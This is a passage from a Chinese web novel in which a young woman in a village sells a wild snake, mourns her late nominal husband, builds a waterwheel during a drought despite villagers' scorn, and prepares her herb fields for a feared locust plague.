她还没假装上山把蛇拿出来呢。 王茹娇见她这么着急,忙问道:“怎么了小芷?” “没事,帮我把锄头先拿到你家,明日我回来去拿。” 许芷着急的跑回去,探头看到没人在菜地里,她去河边有抓了几只蛤蟆丢了进去,让那蛇先吃了温顺点。 然后进去用麻袋把蛇装起来,拖着往家回。 听到开门的动静,孟雨兰笑着出来迎许芷。 “小妹,你回来啦,手里拿的啥啊?” 许芷怕吓到她,把麻袋往身后藏了藏说道:“蛇。” 谁知道孟雨兰听到兴奋地看向那麻袋。 “蛇啊,做蛇羹可好喝了,你交给我,我保证把这蛇料理的干干净净。” 许芷一时哽住了,她虽然不怕蛇,但她真接受不了吃。 没想到孟雨兰胆子这么大,见孟雨兰伸手就要拿过她手里的麻袋。 她赶紧躲了下说道:“这蛇颜色好,卖了值两个钱。” 闻言,孟雨兰嘿嘿一笑,有些不好意思的说道:“我就是贪吃了点。” 许芷笑笑不说话。 她将家里最大的背篓拿了出来,把麻袋放进去差不多正好。 又用麻绳透过竹篓的空隙隔着麻袋把蛇紧紧地捆在里面,防止蛇逃出去。 第二天吃过早饭,她背着蛇就出发去了城里。 她先去了怀清堂,制药丸的事情也得续上了。 拿过东西,还没等她问,杜仲就主动开口道:“许姑娘,你这背篓这装的什么呀?” “蛇。” 许芷回道。 “那就给我吧,我看看什么蛇,给你定个价,你就别背着了,这蛇看着不小,挺沉的吧。” 杜仲伸手就要帮许芷卸下来。 许芷后退一步道:“我正准备问您呢,这蛇皮相好,不是那种能入药的,你知道这城里哪家铺子收吗?” 第100章 成了寡妇 许芷这么一说杜仲就懂了。 他指着东街的方向说道:“东街,酒肆旁有一家专做乐器的铺子,许姑娘可以去哪问问。” 说完怕许芷没遇到良心的买家,他还贴心的补充说:“若是那人不合心意,许姑娘只管把蛇往我们这送,不会让姑娘亏了的。” 许芷是知道二胡会用蛇皮的,所以她笑着道过谢,转身出了铺子。 那乐器铺子好找得很,一走到东街许芷就看到了。 进了店,就有小厮迎上来。 “姑娘,您是要买什么乐器啊?我们店里什么都有,您随便看随便挑。” 许芷微微颔首,说道:“我不买乐器,来是因为得了条好蛇,来看你们铺子收不收?” “收收收,收的,姑娘,你随我来,我看看这蛇的品相。” 那小厮叫了另外一个替他在柜台前站着。 带着许芷进了后面一间制琴的房。 许芷把背篓放下,她能感受得到那蛇此时有些狂躁。 虽然她捆的结实,可是背篓落地,还能看到在晃动。 那小厮笑道:“这蛇脾气不小。” 说着就要去解绳子,许芷忙提醒道:“这蛇性子凶猛,你可小心着点。” 那人听了笑着让许芷放心。 “经我手里的蛇没有一百也有八十,再凶狠的毒蛇我都制服过,不怕。” 说着就解开了麻袋口,那蛇噌的一下冲出来,许芷心猛地一提,呼吸都急促了些。 只见那小厮丝毫不慌,一手迅速抓住蛇头,另一只手紧跟其后捏住七寸的位置,脚踩这蛇的尾巴,另一条腿半跪着压住蛇身。 别说,这小厮看着不显,但是力气大得很,这样一套下来,那蛇竟挣脱不了半分。 许芷偷偷松了口气,这么大的蛇,没把握的情况下她也是怕的。 “这蛇真漂亮。” 小厮眼神放光的夸赞着,不过跟着可惜的说道:“不过这颜色不适合做乐器,要做也是那种深色的蟒蛇皮。” 许芷有些可惜道:“那行吧,这蛇麻烦您帮我装回去。” “不用装回去,我们这不仅收能做乐器的蛇皮,还收其他的蛇,就是有两种收法,不知道姑娘想要哪种?” 小厮说着把蛇装进了屋里的笼子里。 许芷:“哪两种,愿闻其详。” “这一种呢,是我们给个价,这蛇卖给我们,至于后面怎么卖是我们的事儿,就算是我们卖了高价跟您也没关系。” 许芷闻言觉得合理,毕竟自己不知道卖蛇的门路,人家清楚。 只要给自己的钱不太过分,后面卖多高的价都是人家的人脉和本事。 她想要现银,肯定选第一种,但她还想听听第二种。 了解一下也没坏处,万一哪天在山上再抓一条蛇,不着急用钱就可以试试第二种方式。 许芷问道:“那第二种呢?” “第二种则是把蛇留在这,遇上合适的买家我们告诉你,卖了钱之后给我们分成就行。 若是姑娘着急用钱就选第一种,若是姑娘不着急,那第二种最合适不过,你大可放心,我们不要太多的分成,顶多的赚个辛苦费。” 小厮很是实诚。 闻言,许芷点了点头,了解过后跟小厮道:“我还是选第一种吧,不过可不要看我急,就刻意压价,不合适的话我是不会卖的。” 小厮一听赶紧笑着保证说:“姑娘你大可放心,我们不趁人之危。” 许芷只道:“那先说价吧。” 这蛇小厮没有定价权,让许芷在这等着他去叫掌柜的。 等到掌柜的来,一看这蛇啧啧称奇。 “这蛇真是不错,你个姑娘家,还挺厉害的,没被吓到还抓到了。” “那给个价吧。” 许芷直接的说道。 掌柜的一听许芷这么急,笑道:“那可先说好了,这价你要是接受,后续我倒手卖出去多少都跟你没关系了。” 听到许芷嗯了声,掌柜的伸出了三根手指。 许芷心想,三百两? 跟她预期的价格低了不少,若是如此她可不卖。 刚打算拒绝就听到掌柜的开口说:“三千两。” 许芷微不可查的抽了下气,她知道这个品相的蛇贵,但是没想到能值三千两。 她也就只敢想一千两。 不过她清楚掌柜的能出这个价格,转手卖的话肯定只高不低,甚至是能高不少。 但是三千两她已经很满足了,所以当即就定了下来。 掌柜的立即让小厮去账房支钱。 接过三千两,许芷跟掌柜的道别回家。 到了家,孟雨兰跟祖母正在厨房捣鼓做吃的。 见她回来,孟雨兰问道:“小妹回来啦,卖了多少啊?” 她就是随口一问,许芷没直接说多少,只说卖出去了。 倒不是防着孟雨兰和祖母,是怕她们二人聊天被旁人听到。 尽管觉得不可能,可是有时候事情就是这么的离谱。 万一被谁听到,起了歹心,她们三个女人该如何防护。 故而到底有多少钱,只有自己知道就行。 晚上吃饭的时候,还未吃完,王桥过来了。 看到他不好的脸色,许芷猜到了什么。 “王叔,等我吃过饭我去你家里。” 这事儿不能让祖母知道,绝对不能在自己家里说。 王桥也猜得出许芷的想法,故而点了点头,先回了家。 吃过饭之后,许芷匆忙的赶到了王茹娇家里。 王茹娇被王桥让妻子提前支出去了。 见到许芷来,他拿出了户籍文书递给许芷。 “这是他的户籍文书,你拿着。” 许芷想问点什么,但是又不知道从何问起。 最后只说了句:“日后我会给他扫墓上坟的。” 王桥点点头道:“这就够了,你快回去吧,娇娇估摸着要回来了。” 许芷嗯了声,“改天麻烦王叔带我走一趟。” 说完拿了户籍文书便离开。 王桥看着许芷离开的背影,叹了口气。 世事无常啊。 到了家许芷翻开户籍文书,看了又看,心情复杂。 自己如今算是寡妇了。 若是让娘知道,量尺只怕要打断好几根。 爹爹定然一年都不跟自己讲话,哥哥会气成什么样,她不清楚,因为她从未见过哥哥跟自己真的发火。 可她不这样做,她就没有自由。 只能等日后所有的事情都了了,再跟父母亲赔罪。 第101章 上坟祭拜 第二日许芷叫着舅舅一起去买了生石灰,这次不跟草木灰混,直接生石灰撒进地里就行。 舅舅的工要休几日,趁此机会,几家一起做了防虫害的准备。 不过两三日,石灰就撒完了。 做完防虫害的准备,许芷看着地里晒得有点蔫吧的草药,微微叹了口气。 心想何时能下场雨就好了。 还好去年冬天下了三场雪,地里现在还有些水分在。 但是这天作怪的很,这才二月,中午的日头竟有些毒,好似四五月份一般。 她不清楚下坪村这边是何情况,可家里到了三月雨水才多起来,想必两地差别不大,再等等也使得。 过了几日,王桥休沐。 许芷跟着他去了谢有余的坟冢,她这几日找空偷偷在乾坤屋里叠了不少的金银锞,还准备了不少的纸钱。 除此之外,她从家里拿了些果子和一块肉,蜡烛和香拜托王桥帮自己买了,上坟祭奠东西不能少。 出了山坳她看到王桥正站在那等着她。 “王叔,辛苦你带着我走一趟了。” 许芷快步过去,客气的说道。 王桥:“辛苦什么,谢哥也是我的好兄弟,我去看他也应当。” 说着把他篮子里的蜡烛和香递给了许芷。 许芷接过后跟着王桥走。 村子里是有专门的坟地的,可是谢有余没葬在里面,他本就是孤儿落户到下坪村的,没有资格葬进去。 不过好在他有些积蓄,王桥在附近给他买了块地葬了进去。 走了两刻,二人到了谢有余墓前。 许芷将带来的东西摆好,跪地闭眼,双手合十,诚心道: “谢伯伯,感谢您给了我自由身,我在此保证,初一十五、清明、大年三十和您的忌日,晚辈一定来看您,若晚辈有幸,还会交代后人扫墓祭奠,世世代代记得您的恩情。” 话音落下睁开眼睛,看着面前的墓碑,诚恳地磕了三个头。 然后将自己带来的纸钱和金银锞都烧了。 烧过之后,两人才回了家。 到了村口,王桥叫住了许芷:“许丫头,谢哥有些东西要我给你。” 说着从怀中拿出了个碧玉簪子。 “这是谢哥当初答应了的,如今给你也算是了了心愿。” 许芷愣了片刻,最后还是接下了,跟王桥道过谢便分开了。 看着她离开的背影,王桥叹了口气,按说许芷应当在谢哥死前照料床前,毕竟二人是夫妻。 那不管是名义上还是实际的,该有的礼法规矩不能坏了。 可谢有余死活不让他跟许芷说,直至咽下那口气才算完。 思及此处,又是一阵叹息,他也不能强求什么,转身回了家。 没了闲心思的许芷,日日去药田。 此时,许芷发愁的看着地里的药苗,已经干的卷叶了,忍不住叹了口气。 她现在深刻的感受到了‘春雨贵如油’这句话的含义。 许芷觉得不能再这样下去,何时会下雨实在无法保证,地里的苗子还得自己来浇水。 所以转头她就去了王茹娇家中,拜托她去叫一叫张家兄弟来山坳。 她则是先叫着王三叔两口子,三人先回了山坳。 到了家里,看到许芷家里多了个俏丫头,王三婶好奇地问许芷:“许丫头,这是?” 许芷还未开口,孟雨兰就热情的开口介绍道:“婶子好,我是小妹的表姐,孟雨兰。” 她可不敢说许芷对她一个陌生人出手就是十两银子救了自己。 万一有那心思不正的,因为这个也赖上许芷咋办。 闻言,王三婶不做怀疑,笑着随口夸道:“哎呀,姐妹俩长得都这么好看。” 孟雨兰嘿嘿一笑,去了地里照顾绣球花。 没一会儿,王茹娇带着张立柱和张铁牛过来了。 大家过来之后,都疑惑许芷怎么突然找大家。 许芷见人齐了,让大家都坐。 她给大家泡了茶水,也拿了些孟雨兰做的面果子。 “小芷,不用这么客气,有啥你就说,还把我们当客人一样的招待。” 王茹娇这么说着,手上已经去拿面果子吃了。 许芷给各位倒完了茶水也坐下,有些忧愁的开口道:“过了年到现在一滴雨未下,天又热,我看地里的药苗有些旱了。” 王茹娇也叹息道:“地里的麦子也旱,估计穗上的麦粒还没我的心眼子多。” 王三婶听到,玩笑道:“那完蛋了,就你这没心眼儿的劲儿,那地里的麦子不都空了。” “哼。”王茹娇娇嗔道:“三婶,你就会取笑我。” 王三叔笑呵呵的解释道:“你三婶不是取笑你,她就是爱说胡话跟你玩笑。” “我知道,三叔。” 王茹娇不在意的说着。 张立柱看着许芷愁容满面的样子,安慰道:“没事,还未到三月,往后雨水才多起来才是。” “是啊,许丫头。”王三婶也不慎在意的说着:“俺们地里那么多庄稼还不愁呢,你放心,现在看着旱,一场雨来的就好了。” 王三叔:“何况去年大雪,地里的麦子穗长得饱着呢,你别听娇娇这丫头胡说。” 几人轮番说着宽慰许芷,可她皱着的眉头依旧没有松懈。 许芷忧愁的放下了手中的茶杯,严肃说道:“若只是不下雨,去年的雪水滋润的地,还能多顶一段时日。 可是这才二月中午的日头有多热,你们是知道的,没雨水日头又毒这可不行。” 听到许芷如此严肃的语气,王茹娇收了嬉皮笑脸的样子,问道:“那小芷,你说怎么办?” 许芷微微叹了口气:“不行就要一桶水一桶水的拎过去浇水。” “啊?”王茹娇震惊到:“从河边提溜过去那么远,我撑死提溜两趟就走不动了。” “那也比草药旱干了的好,喝不饱水,药苗长不好,药性就不好,到时候不说买个好价钱,能不能卖出去都两说。” 许芷皱眉说道。 王茹娇一听这么严重,只能应下。 剩下几人对视几眼,眼底都是为难。 作为几十年的庄稼户,这种情况也不是没遇到过。 只要一场好雨下的,庄稼就回来了。 王三婶和张立柱他们觉得许芷就是太紧张了,因为这是头一年带着他们种药田。 害怕药苗有一点闪失,村里其他人也都等着看笑话。 故而心中压力大些,才会这样也能理解。 第102章 建个水车 王三婶笑着缓和说道:“那大家就听许丫头的,这药苗跟麦子还是不一样的,咱们也不懂,听话干活就行。” “自然是的。” 张立柱也同意道:“大家放心,我跟铁牛挑水,你们就在地头等着就行。” 接下来的几天,许芷他们几个天天提水来药田里浇水,村里人见到了都揶揄。 “要不说许丫头种的东西金贵呢,咱这粮食果腹的东西,都没这么下劲儿。” 此话一出,周遭都是一阵闷笑声。 对于这种嘲讽,几人都没放在心上,还是听着许芷的该干什么干什么。 挑水的大头主要是男人,张家兄弟、舅舅邓耧子和王三叔四个人。 许芷她们也会挑水,但是扁担没那么多,女人家毕竟力气小些,就两个人一根棍挑一桶水。 她晚上还会趁着没人,偷偷的往乾坤屋里装水,走来地里浇水。 只是不能浇太多,要不然容易惹人怀疑。 为了犒劳大家这么辛苦,许芷直接去杀猪的铺子里定了半扇猪肉。 孟雨兰又是个会做的,大家每天虽然辛苦,可吃得好,没人多说什么,反而觉得高兴。 就这么过了五天,许芷去河边洗衣服,却看到了光着膀子擦身子的舅舅邓耧子。 她本来想躲,却看到了舅舅肩膀上红肿脱皮的印记。 许芷怔住了,暗骂自己竟没想到。 光想着让大家吃好,没想过这样担水,对肩膀磨损严重。 邓耧子看到外甥女盯着他的肩膀看,赶紧用汗巾搭上去遮住,满不在意的说道: “嗐,过几天就好了,别放心上。” 看着外甥女声音低低的嗯了声就躲着回了家,他才龇牙咧嘴的将汗巾拿开。 许芷回了家拿着钱就去城里买了最好的药膏和擦手的油,药膏给男人用,手油给女人用。 回来的时候路过布行,还特意买了几条厚实的汗巾,用来垫在扁担下面,这样也能防着些。 一回村,她就将东西给大家送去。 大家收到东西,都夸许芷想的周到,许芷脸色讪讪。 觉得自己做的还是太少,真要是细心,早就该想到这些。 回了家许芷还在想这事儿,拎着水桶这样走不是办法,距离确实远。 若是能想办法把河里的水引过来那最好。 说起来距离河水最近的地是王三婶家的地,只要想办法把水引到王三婶家的地里,剩下的地直接开渠引水过去就行。 靠天吃饭不如靠自己吃饭,若是能做个水车用竹筒把水引到地里,谁还管天上下不下雨。 想到这,许芷放下刚端起的碗筷,在几人疑惑的眼神中说要去河边看看。 王茹娇赶紧跟了上去,跟着许芷沿着河边转来转去,看了半天她也没看懂许芷在干啥,索性直接问出口。 “小芷,你看啥呢?” “我看看要是建个水车放在哪比较好。” 许芷踩了踩脚下的地,说道。 “水车!” 王茹娇震惊的看着许芷,“那是什么东西啊?” 许芷:“一种引水的工具,有了水车咱们就不用自己大老远的挑水,只要启动水车,水自动就过来了,也不用管天下不下雨。” 听完许芷的话,王茹娇若有所思,依照许芷这么说,这个水车还真是个好东西。 只是在村子里建东西不是许芷想就行,尤其是这种水车需要建在大家都用的河边,但凡有一个人不愿意,那这件事就做不成。 就算成了,也会被一些人给破坏了。 所以这事儿还是得找到里正牵头,钱她可以出,只要这事儿能办成就行。 当机立断,许芷又马不停蹄的去了里正家。 听了许芷的想法,里正立刻点头同意,若是建成了随时可以浇地这不是好事嘛。 他早就听说有富庶一点的村子,会村里人一起凑钱自己建个大水车来灌溉,就不怕不下雨。 要不是他们村穷,他也想弄,如今许芷提出来他当然愿意。 所以让许芷放心大胆去弄,村里人的思想工作他来做。 第二天下午里正就来了山坳,还带来了大家画押的字条,都同意在河边建个水车。 事不宜迟,当天许芷就带着自己画好的图纸去找了木工师傅。 商量好后,除了水车和药田的引水竹筒是许芷付钱,剩下的谁家要用只用付到自己家地里的竹筒钱就行,也就几十个铜板。 里正听了也觉得合理,人家都出了大头了,那谁家用水,谁家买引水的竹筒很正常。 当即就去村里问,可这一次再问跟前两天都同意的态度不一样。 这一次里正几乎在所有人那都碰了壁。 大家刚开始同意是因为听里正说这个是许芷花钱,他们直接享受成果就行。 可是现在又说自己也要出几十个铜板,他们瞬间就变了脸,好像这钱是许芷坑他们一样。 更有甚者,骂里正和许芷勾结骗村里人钱。 还说雨马上就会下,他们这就是乱折腾。 听到这话里正气得不轻,跟许芷说了之后,许芷倒是平静许多。 无所谓他们要不要浇水,反正她能建水车能浇水就行。 自己好言相邀过了,后面他们的麦子怎么样都跟自己没关系。 不过终归还是有四五家明事理的,去河边丈量了下到自己家地里的距离,跟里正报了上去。 许芷拿到名单的时候,跟里正交代, “之后不管谁再来说什么,或者要加入都不行,我这只给这一次机会,他们自己不要不能怪我。” 这两天村子里说什么难听话的都有,既然如此她就没有必要给他们太好脸色。 因为要做水车,许芷就不让大家再挑水浇地了,回家歇着就行。 很快就到了二月底,还是一滴雨没下,而许芷定做的水车也好了。 在河边安装那日,村里人都来看热闹。 向来爱说风凉话的刘菜根刘婶子“哎”的唤了声正在忙着的木工。 “这个大家伙要花多少银子啊?” 她倒要看看许芷做个这能花多少钱,还撺掇里正来坑村里人的钱。 闻言,正专心做事的木工并未搭理她。 第103章 信口开河 刘菜根见自己没问到,她咂咂嘴,又开始跟身边的人嚼舌根。 “要说还是许丫头会想,弄个这到河里,以后水都引到她那地里,这河迟早要干,咱们洗衣服都没地儿去。” 本来都不愿意搭理她,可是听到这话,王茹娇不想忍。 前一段在村里说风凉话嘲讽的人也数她最凶,故而王茹娇瞪她一眼,嘲讽道: “没事儿,刘婶子你家不用担心这个。” 此话一出,刘婶子疑惑看着她。 旁边的人先替她问出口,“这为啥啊王丫头?” “我哥曾教过我一个成语,信口开河,说的是有些人不懂装懂,说话没有根据,净是唬人。” 王茹娇一字一句板正的说着。 可说完大家更疑惑了,不懂这跟刘婶子家有什么关系。 刘菜根自己也不懂,吊着眼梢,问王茹娇:“这跟我有啥关系?” 王茹娇嗤笑一声,继续道:“当然有了,刘婶子你有这信口开河的本事,还怕河里没水啊?你口中就是河,可不耽误你洗衣裳。” “哎!你这臭丫头!” 刘菜根没想到王茹娇这读过书的竟然这样会呲人,气的上前想理论。 可村里人谁敢惹王家,王桥那可是官府的人。 于是众人赶紧拦下了她。 她儿媳妇劝慰道:“你跟她计较什么,一个黄毛丫头,再惹到了她哥,给你送进去。” 闻言她就是再气,也只能忍着。 听着周边人的嘲笑声,刘菜根也没了在这看的心情,带着孙子拽着儿媳回了家。 看到她走,王茹娇嘁的一声,嘟囔:“终于把这长舌妇送走了,天天就数她那张嘴不白长。” 许芷笑着拉她一下,“好了别气了,玉兰姐做了肉脯,一会儿回去你多吃点。” 一听有肉脯,王茹娇立刻喜笑颜开,脆生的应了声“好”。 水车按好已经是下午,许芷请木工师父到家里吃饭。 因为肉已经放不住了,最好是一次性做完。 索性把王三叔一家、王茹娇一家、张家兄弟和刘喜英跟俩孩子都叫了来。 就当是庆祝有了这水车,大家一起吃个饭热闹热闹。 每家知晓许芷的脾性,既然盛情难却,就直接应下,也不说什么客气话。 就是每家去的时候都带了东西。 王桥带了壶好酒,王三婶带了五斤细面。 张家兄弟俩带了下午去镇上买的砂锅,不知道该送点啥,就送了个实用的。 过了年,刘喜英在许芷的点拨下,找了王桥帮自己找工。 还真找到了个绣帕子的活计,挣了点钱,也算是能糊口了。 故而她送的礼是一方手帕。 本来人多做饭应当是愁的,可是孟雨兰不,她看到这么多人吃饭,满心都是要大展身手的兴奋。 甚至不让人帮忙,她做饭有自己的一套秩序,若是别人来了只会觉得妨碍了自己发挥。 众人不是很好意思,许芷知晓孟雨兰就是喜欢做饭。 所以她劝众人道:“哪有让客人做饭的道理,你们好生歇着就是,等日后我去你们家里吃饭,也坐下两手一摊等着吃呢。” 虽然还是很不好意思,但是孟雨兰真不让她们帮忙,无奈只好坐着聊天。 等到月上梢头,终于做好了饭。 早就在满院子的香气中浸润的几人,急吼吼的都往桌前赶。 一看这菜色,众人忍不住眼神放光。 东坡肉、糖醋鲤鱼、麻婆豆腐、龙井虾仁、红烧肉、清蒸狮子头、宫保鸡丁、九转大肠。 八个热菜,竟只有豆腐一个素菜,说是素可汤汁里众人分明看到还有肉沫。 除了热菜还有八个凉菜:老醋花生、蒜泥白肉、凉拌三丝、醋溜小黄瓜、辣拌猪耳、凉拌木耳、酸甜萝卜条、凉拌豆芽。 满满当当十六个菜,还有个老母鸡炖的鸡汤。 怕大家吃不饱,孟雨兰还蒸了野菜馅儿的大包子,野菜都是她这两天上山采的,新鲜着呢。 许芷看着大家都饿坏了的样子,简单说了一句:“日后还要依靠大家多照拂。” 喝了杯中的酒水,大家客气两句就赶紧开席。 酒足饭饱后,他们坚持帮忙收拾,不让主家干活。 等到收拾完了所有,才都各回各家。 第二日,许芷站在地头看着缓缓流入地里的河水,她悬着的心总算是放下了。 地里的药苗经过滋润,如今又绿生生的支棱起来。 许芷看这情况,差不多十天浇一次水,地里的草也顺道勤薅着,二十多亩地就这么照看过来了。 阳春三月至,本应是大好的春光,可下坪村的人都急的不行。 眼看着到如今一滴雨未下,地里的麦子都旱的不行,这才觉得许芷要弄得水车有多有用。 好几户都赶紧去里正家里问,还能不能加一份。 作为里正,只要大家迷途知返,他是很愿意给机会的。 而且他也有责任有义务帮助大家,不能看着大家的麦子收成不好。 可水车不是他出的钱,他没权利这样决定,许芷也说的很清楚了,再来一概不行。 所以他只能将许芷的原话透露给大家。 听到被拒绝,那些人家虽然觉得可惜,但也明白是自己错过了,便没什么好说的。 其他人家看到他们被拒绝,也绝了去问一下的心思。 只是少不得有人抱怨,说许芷太毒气,都是一个村子的,竟然如此心狠,眼睁睁看着大家的麦子旱在地里没法收。 尤其是那个刘菜根刘婶子跳的更欢,全然不记得当初许芷劝大家一起用水车的时候,她骂许芷坑钱,骂的有多难听。 “这许丫头就是个白眼狼,上坪村不要她,来了咱们下坪村,长这么大,一点都不知道感恩,村子里的地都旱成什么样了,她还自私的守着水车不给用,要说她用的还是咱们下坪村的河呢。” 刘菜根此时口舌翻飞,正跟别人吐槽的起劲儿。 王茹娇从一旁走过,幽幽来了句:“又开河呢,刘婶子?” 说完不顾她难看的脸色,自己轻巧的走了。 上次不少人都听到了王茹娇吐槽的话,此时一听就知道什么意思,没忍住笑成一团。 被落了面子的刘菜根,咬着牙回了家。 第104章 泥娃娃村 只是当晚,乌云压顶,刚吃过饭就下起了瓢泼大雨。 看到这雨水,刘菜根第一时间仰天大笑。 “亲娘哎,这不就是雨吗?谁要她那死丫头的水车用,真是太好了。” 下了一夜的雨,整个下坪村少了人心惶惶的氛围,大家都高兴多了。 同时对许芷的指责和嘲笑也如同这雨水一般迅速蔓延。 尤其是那些被拒绝的,还有喜欢看笑话的。 “这许丫头还是年轻,嫩的很,这老天爷怎么可能不下雨呢?” 刘婶子众人又聚在了村子的老槐树下,几个妇人笑谈。 “弄个那大水车,钱不是白花了,当初还想让咱们也出钱,简直是个黑心肝的。” “要不从小就死了娘,爹也不要,我看啊就是这许丫头命硬克的。” “还真别说,你看这丫头来了邓家,邓老大两口子不也被赶出去了,老二两口子到现在没个孩子,老三都没有媒人上门,她还真是个灾星。” 话音刚落,她们口中的“灾星”就从她们身边急匆匆的走过。 看到本人来,她们的奚落话语不仅没有收敛,反而更甚。 只是许芷恍若未闻,只是走自己的,连一个眼神都没多分给她们。 里正早起神清气爽,因为这雨他心里踏实多了。 昨晚听到下雨声,高兴的他几乎没怎么睡。 只要村里有个好收成,他这个做里正的也算没白当。 他刚把院子里打落的树叶扫出去,就看到许芷匆匆赶来。 “里正,我有要事相商。” 看到许芷难看的脸色,里正虽然不知道怎么回事,可还是赶紧把人请到了屋里。 “许丫头,怎么这一大早你就急吼吼来找我?发生什么事儿?” 他能想到的无非是村里人对她不满,想到前两天村子里的人冷嘲热讽的态度,他生怕真的有人去她门前找事。 许芷严肃开口道:“里正,你快召集大家收麦子。” “收麦子?”里正不解:“这刚下了大雨,地里泥次呼啦的没法收啊,起码也要等地干一干。” “不能等,等的话就来不及了。”许芷着急道:“一般旱灾之后很有可能有蝗灾,如今这一场雨下来,好似是旱灾解决了,可是还有蝗虫呢。” 一听许芷这么说,里正瞬间警铃大作。 许芷:“毕竟是从年后就旱着,旱地对蝗虫来说那可是繁衍的利好条件,又一场雨过去,蝗虫只怕长得更快了。” 里正一听也不管这事会不会成真,只要有可能威胁庄稼都应该防范。 何况也马上就到了芒种,地里的麦子本身也就该收了。 清楚中间的利害关系,里正虽然着急但还是没忘了感谢许芷。 “许丫头,多亏有你提醒,我这就通知村里人。” 若真是有蝗虫过境,那这附近的庄户都不能幸免。 大家都是靠地过活的,这种天灾若是能避免还是要避免的。 许芷也不忍心看得百姓人民都因为这个而受苦受难。 故而她叫住着急要走的里正说道:“还请里正也告知一下其他村里的里正,莫说是我说的,只怕他们不信我一个丫头。” 里正自然知道许芷的好心,“行,许丫头,你放心,不过这事儿我只能是提醒,至于他们怎么做,我们管不着。” 里正的话也是在变相的提醒许芷,存好心但别滥好心,许芷想到提醒旁人是好心,可不是所有村子的人都会重视。 比如他们村子的人,听到里正说有蝗灾要他们提前收麦子。 众人一想到泥地里收麦子又脏又难都不愿意,甚至不以为意,认为是里正想太多。 有人见到早上许芷去找了里正,猜到这事儿是许芷说的,更不满的说道: “我说张叔,您也是几十年的老庄稼人了,什么样的风雨没见过,怎么净听着这个小丫头说风就是雨。” 此话一出,不明内情的人知道是许芷的提醒,更加不在意,反而叽叽喳喳的说着风凉话。 里正看着众人吊儿郎当的样子,他气的大声吼:“都给我闭嘴!” 众人一看里正真的生气了,立刻噤了声,不敢再说笑。 里正生气说道:“正是因为我种了几十年的庄稼,我才知道蝗灾有多严重,左右现在那麦子也不是没长成,你们不想收不就是嫌泥地麻烦吗?可若是真有蝗灾,那地里啥都没了,看你们还嫌不嫌麻烦!” 说完,里正气冲冲的赶去别的村子提醒。 而留在原地的众人,大部分人还是想得通的。 若是没有蝗灾,他们现在无非就是麻烦些,也没有其他的损失。 若真有蝗灾,没收那才是要悔青了肠子。 这种事,宁可信其有不可信其无,地里的事儿本就是天大的事儿。 如此想着,好几家已经回家拿镰刀冲去地里割麦子。 而总有那固执地、想不开的懒蛋,里正的话是一点没听进去。 甚至还要在嘴上磋磨两句。 刘菜根一甩袖子,满不在意的说道:“那臭丫头的话就不能信,这雨不就是最好的证据,反正那稀泥地谁愿意跳谁跳,我非得等到过几日地里干了再去割麦子。” 她还撺掇了几家跟她一起,不仅不去抢收,还站在槐树下,等到大家一身泥从地里回来,还嘲讽两声。 “呦,咱们村什么时候改名叫泥娃娃村了?” 被说的村民虽然心里也没底,可到底是自己种的庄稼,自己心疼。 也就任他们说,该去割麦子的还去。 而王茹娇听说赶紧去许芷家里找她,麦子能抢收,可是那药苗怎么办? 总不能现在就拔出来吧。 许芷种的时候都说了,这些都是秋天收获的药苗,现在长都没长成,如何能拔啊? 更不要说那些不是一年生的药材了。 只是当她赶到山坳的家里,却听孟雨兰说,许芷一大早就出去了,还没回来。 她着急的很,可还要去家里的地里抢收,跟孟雨兰交代,许芷回来了去地头找她,就赶紧去了地里。 一望无际的金色麦田里,涌动着一个个弯着腰的身影,着急的割着麦子。 她也赶紧投入到了自家的地里忙活起来。 第105章 齐心协力 此时的许芷正在城里,她早就想过药苗的问题了。 昨晚就已经想好了应对之策,她打算买防水的透明油布,用竹竿撑起挡在地里,有东西罩着就不怕蝗虫了。 蝗灾过去了还也拆,冬天还能继续保暖用,一举两得。 所以她早上提醒过里正,自己一刻不敢停的赶到了城里买竹竿和油布。 等到下午她赶着租的牛车到了地里的时候,王茹娇看到她着急的跑过来。 “你去哪了小芷?蝗虫要来了药苗咋办呀?” 许芷给了她一个安心的眼神,拍了拍车上的油布说道:“没事,我有办法,这个是油布,用竹竿撑着挡在地里就不怕。” “哎呦,担心死我了,你有办法就行。” 王茹娇拍着胸口,松了口气。 接着又说:“那我赶紧去我家地里割麦子,等我家地里的差不多了,我就来帮你。” 许芷:“我正要麻烦你呢,你帮我在这看会儿油布,我请了人来帮忙,在村口我得引过来。 所以药田你们不用担心,这两天就好好在地里收庄稼就行。” 听了许芷的话,本来还想着不好跟母亲交代的王茹娇,瞬间觉得轻松。 可也觉得愧疚,许芷这样全心全意为她们着想。 刚刚自己在她说麻烦自己的时候,竟然第一时间想的是家中的粮食,下意识想拒绝。 王茹娇有些沮丧的应了声“好”,坐在马车边上,让许芷赶紧去。 许芷看了她一眼,提起一口气,看样子是想说点什么。 可最后什么都没说,只是“嗯”了声,就赶紧去了村口。 而看到许芷走了,王三婶才敢来问。 她其实也跟王茹娇之前的想法一样,觉得这药苗保不住,也不敢来问许芷。 毕竟这药苗的投入,谁都没有许芷大。 而且他们可没什么损失,还得了好几两银子。 她怕说了许芷难受,所以这会儿才敢过来。 可看到娇娇失落的样子,她又不敢问了,转身就要走。 王茹娇看到三婶自然知道她来干什么,赶紧把人叫住,说清楚不让大家担心。 “三婶,你别走,小芷有办法。” 王三婶狐疑的转身,问道:“有啥办法啊?” 王茹娇也拍了拍车上的油布,把许芷的话原封不动说给了三婶听。 王三婶一听,悬着的心瞬间放下,她应该能想到的,许丫头这么有本事,肯定有对策。 可下一刻她犯了难,这油布让许芷一个人搭,肯定来不及。 可她地里的麦子就只有她跟老头子两个人忙活,够呛能收完,如何能帮许芷啊。 她斟酌过后,心想让老头子去收麦子,她在这帮许芷搭油布。 许丫头待他们极好,这种时候不能光顾自己。 而且,这许丫头的油布也是搭在了他们的地里头,怎么说她都应该来帮忙。 所以她跟娇娇说:“你跟许丫头说一声,我去把地里刚割的麦子捆起来就来。” 王茹娇:“不用咱们。” “啥?”王三婶惊讶:“她加上王老太和那个劳什子表姐,仨人也弄不完啊。” 人家许丫头待咱们不薄,就算是咱们地里的不弄了,也不能不帮着她。” 许芷过来就听到王三婶这么说,心中一阵感动。 “有三奶奶这句话就够了。” 王三婶看到许芷过来,还有些不好意思的笑笑,看到她身后跟了好几个工人,不明所以。 “这是我请来帮忙搭油布棚子的工,请的多干活快,就不用三奶奶你们了,你们还是快把地里的麦子收了吧。” 许芷看出了王三婶的疑惑,开口解释道。 “你这孩子,真是啥都想到了。” 既然如此,王三婶也不耽误时间了,跟王茹娇一起赶紧回自己地里割麦子。 许芷跟那些工人说了要求,就也开始忙起来。 